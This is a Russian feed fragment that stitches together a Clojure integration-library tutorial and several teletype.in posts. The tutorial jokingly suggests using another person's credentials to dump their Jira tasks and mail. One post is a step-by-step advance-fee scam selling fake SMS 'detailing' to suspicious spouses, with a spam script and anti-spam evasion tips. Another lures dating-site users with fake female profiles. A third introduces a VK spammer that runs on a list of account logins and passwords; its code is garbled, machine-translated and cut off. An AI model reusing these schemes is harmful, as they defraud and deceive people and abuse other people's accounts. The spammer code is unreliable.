  &lt;p&gt;Я — тимлид в одной из команд разработки Positive Technologies Application Firewall. В один прекрасный момент размер команды превысил критическое значение, когда можно делать руками всю свою рутинную работу, и я начал писать автоматизированную систему, которая умела бы взаимодействовать с почтой, трекерами задач и системами контроля версий. Я назвал ее «автоматический тимлид».&lt;/p&gt;
  &lt;p&gt;Распределение задач — одна из рутинных процедур, которую легко автоматизировать, если в команде существует матрица компетенций: назначить исполнителя в зависимости от заголовка задачи или ее компонента можно, если уметь программно читать задачу с таск-трекера и обновлять некоторые поля в ней. Аналогичная история с автоматическим назначением по набору критериев ответственного проверяющего в пулл-реквест в системе контроля версий для рецензирования исходного кода.&lt;/p&gt;
  &lt;p&gt;В итоге, конечно, автоматический тимлид был разделен на бизнес-логику и общую библиотеку интеграций (я назвал ее Flower). О последней давай и поговорим.&lt;/p&gt;
  &lt;h3&gt;Зачем оно вообще всем&lt;/h3&gt;
  &lt;p&gt;Зачем мне понадобилось такое программное обеспечение, в целом понятно, но зачем же оно тебе?&lt;/p&gt;
  &lt;p&gt;Допустим, по счастливому стечению обстоятельств, у тебя есть учетные данные некоего пользователя Jira. Очень хочется на память сохранить пару тысяч задач этого пользователя (а заодно и всю его почту), чтобы развлекаться серыми осенними вечерами, почитывая занимательные комментарии. Почему бы не сделать это, написав три строчки кода?&lt;/p&gt;
  &lt;p&gt;Или ты менеджер проекта по разработке программных продуктов и решил устроить своим программистам полный KPI, замеряя производительность людей в условных пулл-реквестах на задачу. Собирать статистику с двух и более разных систем одновременно тоже можно без технических проблем.&lt;/p&gt;
  &lt;p&gt;Как вариант, ты желаешь перенести все задачи из GitLab и Jira на GitHub (потому что твой проект резко стал опенсорсным), а заодно настроить автоматическую пересылку сообщений из почты в Slack. И даже это делается не очень сложно!&lt;/p&gt;
  &lt;h3&gt;Почему Clojure&lt;/h3&gt;
  &lt;p&gt;Первый вопрос, который можно было бы мне задать, звучит примерно так: почему ты не выбрал Python, ведь ты с ним знаком десяток лет и он имеет все необходимые библиотеки интеграций? Не имеет. Имеет, конечно, но не все работает так гладко, как SDK на Java, созданный разработчиками систем, с которыми мы интегрируемся. А в некоторых случаях еще и не хватает многопоточности. Тут нужно заметить, что для первоначального прототипа я, конечно же, и выбрал Python, а точнее HyLang (Lisp на его стеке), но в итоге решил внимательнее присмотреться к JVM.&lt;/p&gt;
  &lt;p&gt;И второй очевидный вопрос — почему вообще Lisp? Потому что, насколько мне известно, лучший способ создать свой DSL, не изобретая новый синтаксис, — взять Lisp, проверенный временем язык с префиксной нотацией и веселыми скобочками (на самом деле это называется S-выражения), и, используя макросы, обогатить его до домена использования.&lt;/p&gt;
  &lt;p&gt;Совокупность этих двух факторов и побудила меня выбрать Clojure как язык программирования и платформу для интеграций с различными системами.&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://tech-geek.ru/wp-content/uploads/clojure-tips-and-tricks-2.png&quot; width=&quot;930&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3&gt;Show me the code&lt;/h3&gt;
  &lt;p&gt;Чтобы начать писать на Clojure свой скрипт или даже целую систему, использующую Flower, необходимо для начала установить Leiningen (для Windows в некоторых случаях это может оказаться немного нетривиальной задачей, поэтому рекомендую взять любую *nix-систему). Если ты вдруг не знаешь Clojure, то рекомендую книгу Clojure for the Brave and True — идеальное пособие для освоения языка за пару вечеров.&lt;/p&gt;
  &lt;p&gt;Чтобы начать новый проект на базе Flower, можно воспользоваться шаблоном, набрав в терминале&lt;/p&gt;
  &lt;p&gt;&lt;code&gt; lein new flower my-new-flower-app&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;При этом в файл project.clj в созданной директории проекта будет добавлена зависимость [flower &amp;quot;0.4.3&amp;quot;] — это метапакет, содержащий почти все необходимое. Для тестового приложения он нам вполне подойдет.&lt;/p&gt;
  &lt;p&gt;Давай теперь напишем наше приложение. В качестве подопытной системы контроля версий и трекера задач воспользуемся GitHub.&lt;/p&gt;
  &lt;p&gt;Для аутентификации нам понадобится добавить токен пользователя GitHub, чтобы иметь возможность делать изменения и не быть ограниченными рейтом запросов. Добавь сгенерированный для своей учетной записи токен вместо звездочек в файл .credentials.edn в домашней директории пользователя (~/.credentials.edn) в следующем формате:&lt;/p&gt;
  &lt;p&gt;&lt;code&gt; &amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;{:&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;token &amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;{:&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;github &amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;str&amp;quot;&amp;gt;&amp;quot;****************************************&amp;quot;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;}}&amp;lt;/span&amp;gt;&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;Теперь можно начать ставить эксперименты. Для этого в директории проекта запустим REPL из командной строки:&lt;/p&gt;
  &lt;p&gt;&lt;code&gt; lein repl&lt;/code&gt;&lt;/p&gt;
  &lt;h3&gt;Трекеры задач&lt;/h3&gt;
  &lt;p&gt;Подключим необходимые модули и определим наш трекер задач:&lt;/p&gt;
  &lt;pre&gt; (require &amp;#x27;[flower.macros]
        &amp;#x27;[flower.tracker.core])
 
(flower.macros/with-default-credentials ;; Можно без этого макроса, если трекер задач приемлет запросы без авторизации
  (def pt-github-tracker (flower.tracker.core/get-tracker &amp;quot;https://github.com/PositiveTechnologies/flower&amp;quot;)))
&lt;/pre&gt;
  &lt;p&gt;Давай посмотрим, что теперь содержится в определении pt-github-tracker. Для наглядности я сделал pretty-вывод и убрал не очень важные сейчас поля.&lt;/p&gt;
  &lt;pre&gt; my-new-flower-app.core=&amp;gt; pt-github-tracker
#flower.tracker.github.tracker.GithubTracker{
  :tracker-component #flower.tracker.core.TrackerComponent{
                      :auth {:github-token &amp;quot;****************************************&amp;quot;}
                      :context {}}
  :tracker-name :github-github.com-flower
  :tracker-url &amp;quot;https://github.com/PositiveTechnologies&amp;quot;
  :tracker-project &amp;quot;flower&amp;quot;}
&lt;/pre&gt;
  &lt;p&gt;Функция get-tracker подставила авторизационные данные и развернула строковый адрес трекера задач в запись с общим протоколом flower.tracker.proto.TrackerProto. Если тип трекера не определился верно, то тип записи будет flower.tracker.default.tracker.DefaultTracker. Это поведение можно изменить, эксплицитно указав тип трекера с помощью макроса flower.tracker.core/with-tracker-type.&lt;/p&gt;
  &lt;p&gt;Получить все задачи из трекера можно следующей командой:&lt;/p&gt;
  &lt;pre&gt; (def tasks (.get-tasks pt-github-tracker))
&lt;/pre&gt;
  &lt;p&gt;Самостоятельно можешь взглянуть, из каких полей состоит, например, первая задача в трекере после выборки, с помощью команды (first tasks), а затем давай сделаем полную выборку в формате JSON. Зависимость clojure.data.json приехала к нам вместе с метапакетом flower, поэтому весь оставшийся код будет выглядеть так:&lt;/p&gt;
  &lt;pre&gt; (require &amp;#x27;[clojure.data.json])
 
;; Функция сериализации, которую мы используем для удаления
;; полей :tracker и разыменования дополнительных невыполненных
;; полей (например, комментарии)
(defn serialize-task [task]
  (reduce-kv (fn [self k v]
              (if (= k :tracker)
                self
                (assoc self
                        k (if (delay? v) @v v))))
            {}
            task))
&lt;/pre&gt;
  &lt;p&gt;;; Печатаем результирующий JSON&lt;/p&gt;
  &lt;pre&gt;(clojure.data.json/pprint {:tasks (map serialize-task
                                      tasks)})
  
&lt;/pre&gt;
  &lt;p&gt;Из интересных вещей, которые содержит в себе библиотека Flower при работе с трекерами задач, можно выделить еще изменение полей задачи. Делает��я это двумя строчками кода (и требует прав на запись):&lt;/p&gt;
  &lt;p&gt;;; Получаем первую задачу из выборки&lt;/p&gt;
  &lt;pre&gt;(def first-task (first tasks))
 
;; Обновляем поля заголовка и тегов
(.upsert! (assoc first-task
                :task-title &amp;quot;New title&amp;quot;
                :task-tags [&amp;quot;sometag&amp;quot;]))
&lt;/pre&gt;
  &lt;p&gt;На этом месте, конечно, вывалится ошибка о невозможности что-либо записать в репозиторий, если не хватает на это прав: RequestException Must have admin rights to Repository. (403). Но если вдруг хватает, то для первой задачи из выборки будут фактически обновлены заголовок и теги, а результатом вернется обновленная запись.&lt;/p&gt;
  &lt;h3&gt;Системы контроля версий&lt;/h3&gt;
  &lt;p&gt;С системами контроля версий абсолютно аналогичная история:&lt;/p&gt;
  &lt;pre&gt; (require &amp;#x27;[flower.macros]
        &amp;#x27;[flower.repository.core])
 
(flower.macros/with-default-credentials
  (def pt-github-repo (flower.repository.core/get-repository &amp;quot;https://github.com/PositiveTechnologies/flower&amp;quot;)))
&lt;/pre&gt;
  &lt;p&gt;Знакомо, не правда ли? Во время разработки библиотеки я старался сделать так, чтобы определения для разных типов систем были похожи между собой и чтобы из названий функций было понятно их назначение.&lt;/p&gt;
  &lt;p&gt;Посмотреть, какие функции поддерживаются протоколами различных систем, можно здесь (однако идея записей в том, что обращаться к их полям можно и напрямую, минуя вызовы этих функций в протоколах; так что, если для какого-то поля не определена функция выборки, его можно выбрать из записи через функцию get).&lt;/p&gt;
  &lt;p&gt;Полистаем теперь пулл-реквесты из репозитория:&lt;/p&gt;
  &lt;p&gt;&lt;code&gt; (def prs (.get-pull-requests pt-github-repo))&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;;; Получаем первый пулл-реквест из выборки&lt;/p&gt;
  &lt;pre&gt;(def first-pr (first prs))
  
&lt;/pre&gt;
  &lt;p&gt;Для выбранного пулл-реквеста выведем на печать все комментарии и счетчики (например, количество комментариев LGTM):&lt;/p&gt;
  &lt;pre&gt; (println (.get-comments first-pr))
(println (.get-counters first-pr))
  
&lt;/pre&gt;
  &lt;p&gt;Если вдруг у тебя есть права на запись в репозиторий, то можно смерджить пулл-реквест. Мерджить будем, только если один из комментариев содержит слово LGTM:&lt;/p&gt;
  &lt;pre&gt; (when (&amp;gt; (get (.get-counters first-pr)
              :count-lgtms)
        0)
  (.merge-pull-request! first-pr))
  
&lt;/pre&gt;
  &lt;h3&gt;Системы обмена сообщениями&lt;/h3&gt;
  &lt;p&gt;Пора программно почитать рабочую почту! Для этого нужно добавить в созданный раньше ~/.credentials.edn запись аккаунта Exchange. После добавления учетных данных файл может выглядеть, например, так (в примере поле :login содержит пользователя Exchange, :password — его пароль, :domain — домен Active Directory и :email — почтовый адрес пользователя):&lt;/p&gt;
  &lt;pre&gt; {:token {:github &amp;quot;****************************************&amp;quot;}
 :account {:login &amp;quot;jdoe&amp;quot;
          :password &amp;quot;************************&amp;quot;
          :domain &amp;quot;EXAMPLE&amp;quot;
          :email &amp;quot;jdoe@example.com&amp;quot;}}
  
&lt;/pre&gt;
  &lt;p&gt;Так как метапакет не включает в себя зависимости конкретных реализаций мессенджинговых систем, то каждую нужно указывать в project.clj эксплицитно. Для Exchange необходимо подключить пакет [flower/flower-integration-exchange &amp;quot;0.4.3&amp;quot;]. Итоговый файл проекта после этого будет выглядеть, например, так:&lt;/p&gt;
  &lt;pre&gt; (defproject my-new-flower-app &amp;quot;0.1.0-SNAPSHOT&amp;quot;
  :description &amp;quot;FIXME: write description&amp;quot;
  :url &amp;quot;http://example.com/FIXME&amp;quot;
  :dependencies [[org.clojure/clojure &amp;quot;1.9.0&amp;quot;]
                [flower &amp;quot;0.4.3&amp;quot;]
                [flower/flower-integration-exchange &amp;quot;0.4.3&amp;quot;]]
  :main ^:skip-aot my-new-flower.core
  :target-path &amp;quot;target/%s&amp;quot;
  :profiles {:uberjar {:aot :all}})
  
&lt;/pre&gt;
  &lt;p&gt;Перезапустим REPL, закрыв его и повторно из директории проекта выполнив команду lein repl. После этого можно приступить к подключению библиотек и определению почтового ящика:&lt;/p&gt;
  &lt;pre&gt; (require &amp;#x27;[flower.macros]
        &amp;#x27;[flower.messaging.core])
 
(flower.macros/with-default-credentials
  (flower.messaging.core/with-messaging-type :exchange
    (def msg-box (flower.messaging.core/get-messaging))))
  
&lt;/pre&gt;
  &lt;p&gt;Выберем первое сообщение из почтового ящика с загрузкой тела сообщения и отправим его же на другой почтовый ящик (фактически это не пересылка, а отправка нового сообщения с заменой получателя):&lt;/p&gt;
  &lt;pre&gt; (def first-msg (first (.search-messages msg-box
                                        {:count 1
                                        :load-body true})))
 
(.send-message! (assoc first-msg
                      :msg-recipients [&amp;quot;jstiles@example.com&amp;quot;]))
  
&lt;/pre&gt;
  &lt;p&gt;Но еще интереснее настроить автоматическую пересылку писем. Так как пакет clojure.core.async установлен как зависимость метапакета flower, то можно сразу же использовать его для асинхронной обработки входящих сообщений:&lt;/p&gt;
  &lt;pre&gt; (require &amp;#x27;[clojure.core.async :as async])
 
;; Подпишемся на входящие сообщения
(def ch (.subscribe msg-box
                    {:load-body true}))
 
;; Создаем сопрограмму для вывода на печать
;; и автоматической пересылки сообщений
(async/go-loop []
  (when-let [msg (async/&amp;lt;! ch)]
    (println msg)
    (.send-message! (assoc msg
                          :msg-recipients [&amp;quot;jstiles@example.com&amp;quot;]))
    (recur)))
  
&lt;/pre&gt;
  &lt;p&gt;Теперь при запущенном приложении с подобным кодом все входящие сообщения будут отправляться на другой почтовый ящик сразу же, как только будут получены.&lt;/p&gt;
  &lt;h3&gt;Заключительное слово&lt;/h3&gt;
  &lt;p&gt;В статье я показал лишь небольшую часть примеров применения библиотеки интеграции. С этими знаниями уже можно писать небольшие сценарии ad hoc. А после погружения в Clojure можно писать и готовый программный продукт.&lt;/p&gt;
  &lt;p&gt;В моих планах — добавить в библиотеку поддержку большего числа сервисов. YouTrack, HipChat, Telegram и некоторые другие системы ждут своей очереди на добавление. Поскольку проект опенсорсный, я предлагаю тебе присоединиться любым доступным способом: даже простой фидбек в виде Issue на «Гитхабе» будет очень ценным для меня. А заведенный автоматизированно, с использованием самой библиотеки — вдвойне!&lt;/p&gt;

</content></entry><entry><id>d4ffyduckone:B12pKYKwQ</id><link rel="alternate" type="text/html" href="https://teletype.in/@d4ffyduckone/B12pKYKwQ?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=d4ffyduckone"></link><title>СМС бизнес</title><published>2018-09-02T16:03:16.126Z</published><updated>2018-09-02T16:03:16.126Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/9c/9c9125ec-863b-462c-9711-90198a2cbb35.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://telegra.ph/file/465106a298a2404121eaf.png&quot;&gt;Привет, манимэйкер! Сегодня представляю тебе рассказ одного бывалого &quot;теневого рабочего&quot; о его всегда рабочей схеме заработка:</summary><content type="html">
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/465106a298a2404121eaf.png&quot; width=&quot;1000&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Привет, манимэйкер! Сегодня представляю тебе рассказ одного бывалого &amp;quot;теневого рабочего&amp;quot; о его всегда рабочей схеме заработка:&lt;/p&gt;
  &lt;p&gt;&amp;quot;Рассказываю способ который работает как часы, и будет работать всегда, начну с того что я учился на психолога, вообще у меня два высших образования, но мне всегда интересна психология людей, наверное это и дало мне идею по которой спокойно можно делать 3-4 тысячи в день.&lt;/p&gt;
  &lt;p&gt;Начну с того что я давненько сидел на одном форуме, схожим с фселом, занесло меня туда очень интересным случаем. У меня была подруга детства с которой я и сейчас поддерживаю хорошие отношения, подруга вышла замуж и однажды приходит от неё сообщение, что она подавлена и не знает что делать, ей кажется что муж ей изменяет а я должен был помочь найти человека который сделает детализацию его сообщений и она готова заплатить, тогда я и начал искать в сети кто предоставляет данные услуги.&lt;/p&gt;
  &lt;p&gt;Нашёл на одном из форумов, так я познакомился с теневой стороной паутины, так вот нашёл я человека, пробил за 1500 руб конечно деньги я с подруги не взял а просто сказал что у меня был знакомый в салоне и он помог мне разобраться, после я зашёл на страницу к подруге и тут меня осенило, на странице у ней были добавлены записи о том что нельзя доверять мужикам, о не взаимной любви, и прочая сопливая лирика которая говорила о том что есть проблемы, а я знал что проблема решилась тем что она узнала правду с помощью того что сделала детализацию. Теперь я понимаю что там где не все гладко можно заработать не плохие деньги.&lt;/p&gt;
  &lt;p&gt;Я создал страницу Вконтакте, поставил на аватар специальную картинку которая говорила о том что &amp;quot;Доверяй но проверяй&amp;quot; в статусе написал что &amp;quot;Узнаю правду&amp;quot; и пошёл в группы про любовь,верность,отношения. Далее нашел запись где было много репостов это значит что человек добавил её на стенку что бы увидели о чем он думает,&lt;/p&gt;
  &lt;p&gt;Вконтакте есть специальная кнопка которая даёт видеть кто сделал репост, так вот у меня вылез список наших жертв, я начал писать всем кто есть в списке следующий текст, по сей день он рабочий и не менялся&lt;/p&gt;
  &lt;p&gt;&amp;quot;Здравствуйте *****, хочу предложить вам услугу по детализации sms-сообщений, вы уверены в тех кто вас окружают? Сейчас очень много информации даёт переписка вашего родного,близкого, или любимого человека. Возможно вы узнаете то о чем догадывались или найдёте причину которая вас тревожит.&lt;/p&gt;
  &lt;p&gt;Я работаю с такими операторами как МТС,Билайн,Мегафон от вас лишь номер телефона абонента, о том что делалась детализация абонент узнать никак не сможет, я просто пришлю вам её точно так же в сообщениях и после просмотра вы сможете удалить её или оставить на память, делаем быстро и качественно а главное совсем не дорого!&amp;quot;.&lt;/p&gt;
  &lt;p&gt;Отправлял я одно и тоже сообщение всем, просто сидел, нажимал копировать и вставить, большинство жертв просто молчали прочитав сообщение, тут неожиданно я был заблокирован, оказывается я спамил. маленько подумав я стал делать так как правильно и как работает намного эффективней, при отправке сообщения нужно каждый раз писать имя того кому отправляешь и тогда сообщения получаются разными, точнее так думает робот который блочит аккаунты, так вот создаю вторую страницу повторяю действия и теперь каждый раз пишу имя, и вот оно, минимальный диалог с жертвой привёл к первой прибыли, жертве надо было узнать какую то правду, конечно я так и думал ведь мы предлагаем именно то что нужно, людям которые этого ждут, многие отвечают что, вы правда это можете?)&lt;/p&gt;
  &lt;p&gt;Да многие разговоры начинаются с этой фразы. но я называю их жертвами потому как принимая оплату я ничего не делал, просто кидал в чёрный список. так я работал каждый день, обрабатывая в день 40 человек из них 8 соглашались как родные, способ оплаты был простой, я принимал деньги через сбербанк онлайн на карту своего знакомого, проработав Вконтакте я понял что очень много лишнего мусора в виде того что большинство тому кому мы пишем нет даже 18 лет, тут возникла идея ОДНОКЛАССНИКОВ!) там и народ взрослый и мусора меньше, а интриг больше, заметил что больше всех обращаются жены за мужами)&lt;/p&gt;
  &lt;p&gt;В общем я описал схему того как делать 3-4 к руб за день спокойно, просто сидя у компьютера.&lt;/p&gt;
  &lt;p&gt;P.S. Схему обозначил чёрной, для ленивых), просто развод на пред оплату.&lt;/p&gt;
  &lt;p&gt;Можно и по белому: Заказываешь доступ в ЛК, и сам делаешь детализацию (была такая услуга). И по честному получаешь деньги.&amp;quot;&lt;/p&gt;
  &lt;p&gt;Вот такая вот схемка!&lt;/p&gt;

</content></entry><entry><id>d4ffyduckone:HyijXtYvm</id><link rel="alternate" type="text/html" href="https://teletype.in/@d4ffyduckone/HyijXtYvm?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=d4ffyduckone"></link><title>Способы защиты своего аккаунта Телеграмм</title><published>2018-09-02T15:37:07.162Z</published><updated>2018-09-02T15:37:07.162Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/01/01d9816a-552a-482f-9224-697ee04fb7cc.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://telegra.ph/file/8df84ed26120cbe9b58c2.jpg&quot;&gt;Для того чтобы избежать взлома профиля Telegram со стороны злоумышленников, необходимо выполнить следующие действия:</summary><content type="html">
  &lt;p&gt;Для того чтобы избежать взлома профиля Telegram со стороны злоумышленников, необходимо выполнить следующие действия:&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/8df84ed26120cbe9b58c2.jpg&quot; width=&quot;768&quot; /&gt;
  &lt;/figure&gt;
  &lt;ul&gt;
    &lt;li&gt;Всегда держите электронное устройство при себе, регулярно проверяйте его наличие;&lt;/li&gt;
    &lt;li&gt;Не передавайте телефон посторонним людям, даже если вы им доверяете. Для взлома аккаунта достаточно несколько минут в случае, если злоумышленник имеет доступ к устройству;&lt;/li&gt;
    &lt;li&gt;Используйте различные пароли и графические ключи на экране блокировки смартфона;&lt;/li&gt;
    &lt;li&gt;Настройте двойной пароль в настройках Телеграмма;&lt;/li&gt;
    &lt;li&gt;Регулярно проверяйте активные сессии и завершайте посторонние сеансы;&lt;/li&gt;
    &lt;li&gt;Устанавливайте последние версии приложения Телеграмм;&lt;/li&gt;
    &lt;li&gt;Придумайте сложный, длинный пароль, подобрать который не представится возможным.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;Указанные действия значительно снижают риск взлома аккаунта в Телеграмм, поэтому не рекомендуется пренебрегать ими. Несмотря на все уязвимости, Telegram по-прежнему остается одним из самых надежных приложений.&lt;/p&gt;

</content></entry><entry><id>d4ffyduckone:ryAPmttDQ</id><link rel="alternate" type="text/html" href="https://teletype.in/@d4ffyduckone/ryAPmttDQ?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=d4ffyduckone"></link><title>Арбитраж трафика с сайтов знакомств</title><published>2018-09-02T15:36:06.291Z</published><updated>2018-09-02T15:36:06.291Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/89/89efae4f-8dae-42cd-9641-a98cd177f81a.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://telegra.ph/file/e26cb4d9de48baea1c62a.png&quot;&gt;Сейчас я покажу вам очень простой способ заработка на adult/dating партнерке, для новичков.</summary><content type="html">
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/e26cb4d9de48baea1c62a.png&quot; width=&quot;1460&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Сейчас я покажу вам очень простой способ заработка на adult/dating партнерке, для новичков.&lt;/p&gt;
  &lt;p&gt;Мы будем добывать условно бесплатный трафик, сливать его на партнерскую программу и получать деньги за регистрации по нашей ссылке. До 15$ за одну регистрацию!&lt;/p&gt;
  &lt;p&gt;И так поехали.&lt;/p&gt;
  &lt;h3&gt;Шаг 1:&lt;/h3&gt;
  &lt;p&gt;Загружаем WhatsApp на свой смартфон и регистрируемся, используя смс активатор.&lt;/p&gt;
  &lt;p&gt;Например sms-reg.com Либо регистрируемся бесплатно с помощью приложения Safeum (только литовские номера)&lt;/p&gt;
  &lt;h3&gt;Шаг 2:&lt;/h3&gt;
  &lt;p&gt;Загружаем фото девушки и создаем учетную запись WhatsApp.&lt;/p&gt;
  &lt;h3&gt;Шаг 3:&lt;/h3&gt;
  &lt;p&gt;Регистрируемся на сайтах знакомств.&lt;/p&gt;
  &lt;p&gt;Находим в интернете, их тысячи.&lt;/p&gt;
  &lt;p&gt;Создаем анкету девушки с теми же фото, что и поставили в Whatsapp.&lt;/p&gt;
  &lt;p&gt;Вот несколько примеров популярных сайтов:&lt;/p&gt;
  &lt;p&gt;twoo.com&lt;/p&gt;
  &lt;p&gt;https://secure.tagged.com&lt;/p&gt;
  &lt;p&gt;https://www.okcupid.com&lt;/p&gt;
  &lt;p&gt;www.pinalove.com&lt;/p&gt;
  &lt;p&gt;dateinasia.com&lt;/p&gt;
  &lt;p&gt;oyoy.com&lt;/p&gt;
  &lt;p&gt;thaiflirting.com&lt;/p&gt;
  &lt;p&gt;fdating.com&lt;/p&gt;
  &lt;p&gt;www.emocore.se&lt;/p&gt;
  &lt;p&gt;happypancake.com&lt;/p&gt;
  &lt;p&gt;fetlife.com&lt;/p&gt;
  &lt;p&gt;darkside.se&lt;/p&gt;
  &lt;p&gt;bodycontact.com&lt;/p&gt;
  &lt;p&gt;www.fabswingers.com&lt;/p&gt;
  &lt;p&gt;joyclub.de&lt;/p&gt;
  &lt;p&gt;sklavenzentrale.com&lt;/p&gt;
  &lt;p&gt;sadomaso-chat.de&lt;/p&gt;
  &lt;p&gt;fetischpartner.com&lt;/p&gt;
  &lt;p&gt;travesta.de&lt;/p&gt;
  &lt;p&gt;fabguys.com&lt;/p&gt;
  &lt;p&gt;tvchix.com&lt;/p&gt;
  &lt;p&gt;lovescout24.de&lt;/p&gt;
  &lt;p&gt;swinglifestyle.com&lt;/p&gt;
  &lt;p&gt;erotikforum.at&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;http://tgraph.io/file/c94b1fe868b7c54618914.jpg&quot; width=&quot;768&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3&gt;Шаг 6:&lt;/h3&gt;
  &lt;p&gt;Цены за регистрации разнятся в зависимости от местоположения зарегистрировавшегося.&lt;/p&gt;
  &lt;p&gt;Самые высокие платы за регистрации получаем из данных стран:&lt;/p&gt;
  &lt;blockquote&gt;Швеция, Дания, Норвегия, Финляндия, Австралия, Австрия, Испания, Канада, Франция, США, Германия, Нидерланды, Бельгия, Великобритания, Швейцария, Италия, Китай.&lt;/blockquote&gt;
  &lt;p&gt;Поэтому по возможности выбираем ваше местоположение исходя из данных стран.&lt;/p&gt;
  &lt;h3&gt;Шаг 7:&lt;/h3&gt;
  &lt;p&gt;Заходим на сайт знакомств и начинаем лайкать людей с соответствующим возрастом, полом и местоположением.&lt;/p&gt;
  &lt;h3&gt;Шаг 8:&lt;/h3&gt;
  &lt;p&gt;Люди начнут писать вам личку, пообщайтесь с ними и дайте номер вашего WhatsApp.&lt;/p&gt;
  &lt;h3&gt;Шаг 10:&lt;/h3&gt;
  &lt;p&gt;Когда они добавят вас в WhatsApp, соблазните их и скажите, что ваши фото и видео где-то в других сетях и дайте ссылку на регистрацию через ваш WhatsApp.&lt;/p&gt;
  &lt;h3&gt;Шаг 11:&lt;/h3&gt;
  &lt;p&gt;После регистрации вы получите деньги.&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;http://tgraph.io/file/f5c0a99eccc0e0f8a1185.png&quot; width=&quot;1015&quot; /&gt;
  &lt;/figure&gt;

</content></entry><entry><id>d4ffyduckone:BJ447YYPQ</id><link rel="alternate" type="text/html" href="https://teletype.in/@d4ffyduckone/BJ447YYPQ?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=d4ffyduckone"></link><title>Создаем спам</title><published>2018-09-02T15:35:08.092Z</published><updated>2018-09-02T15:35:08.092Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/d0/d0b3c5a6-d290-49f4-9761-86bf9147f926.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://telegra.ph/file/8838671e35e67bc6a85e4.jpg&quot;&gt;Был написан консольный спамер &quot;vk_spammer.py&quot; в личных сообщениях ВК, работает только для спама ОДНОГО пользователя</summary><content type="html">
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/8838671e35e67bc6a85e4.jpg&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Был написан консольный спамер &amp;quot;vk_spammer.py&amp;quot; в личных сообщениях ВК, работает только для спама ОДНОГО пользователя&lt;/p&gt;
  &lt;p&gt;Для него я приложу мануал для работы под Винду, также он может работать и на любой другой ОС&lt;/p&gt;
  &lt;p&gt;Для работы необходимо&lt;/p&gt;
  &lt;p&gt;- Python 3 (обязательно этой версии&lt;/p&gt;
  &lt;p&gt;- Модуль vk_api&lt;/p&gt;
  &lt;p&gt;- База аккаунтов ВК, которые мы будем грузить в текстовый файл (login:pass&lt;/p&gt;
  &lt;p&gt;Преступим к подготовке&lt;/p&gt;
  &lt;p&gt;1) Для начала установим Python последней 3-ей версии, качаем его отсюда https://www.python.org/downloads/&lt;/p&gt;
  &lt;p&gt;2) При установке важно нажать на чекбокс &amp;quot;Add Path&amp;quot; для корректной работы Python в CMD&lt;/p&gt;
  &lt;p&gt;3) Далее устанавливаем модуль vk_api&lt;/p&gt;
  &lt;p&gt;Пишем в CMD&lt;/p&gt;
  &lt;p&gt;pip install vk_api&lt;/p&gt;
  &lt;p&gt;4) Запускаем программу&lt;/p&gt;
  &lt;p&gt;python \path\to\vk_spammer.py&lt;/p&gt;
  &lt;p&gt;Для спама вводим команду с такими атрибутами&lt;/p&gt;
  &lt;p&gt;spam [accsFile] [id] [textFile] [times] [reload] [mediaFile&lt;/p&gt;
  &lt;p&gt;Для просмотра описания каждой опции используем help&lt;/p&gt;
  &lt;p&gt;Пример работы программы: https://pp.userapi.com/c830108/v830108552/1265bb/qGAXsGMeOk0.jpg&lt;/p&gt;
  &lt;p&gt;Нам этом у меня всё, сам код программы можете найти ниже&lt;/p&gt;
  &lt;p&gt;код:&lt;/p&gt;
  &lt;p&gt;Код:&lt;/p&gt;
  &lt;pre&gt;#!/ usr / bin / python
# - *- кодирование: utf-8 -*-

импорт vk_api
из vk_api импортируйте VkUpload
время импорта


def main():

 Печать()
 печать (&amp;#x27;Добро пожаловать vk_spammer.py&amp;#x27;)
 печать (&amp;#x27;Write &amp;lt;help&amp;gt; to get command list&amp;#x27;)

 # Цикл-интерфейс
 правда:

 Печать()
 печать (&amp;#x27;vk_spammer:&amp;#x27;, end=&amp;quot;)
 cmd = ввод()
 Печать()

 если cmd.split () [0] = = &amp;#x27;help&amp;#x27;:
 печать (&amp;#x27;&amp;lt;help&amp;gt; - получить справку&amp;#x27;
&lt;/pre&gt;

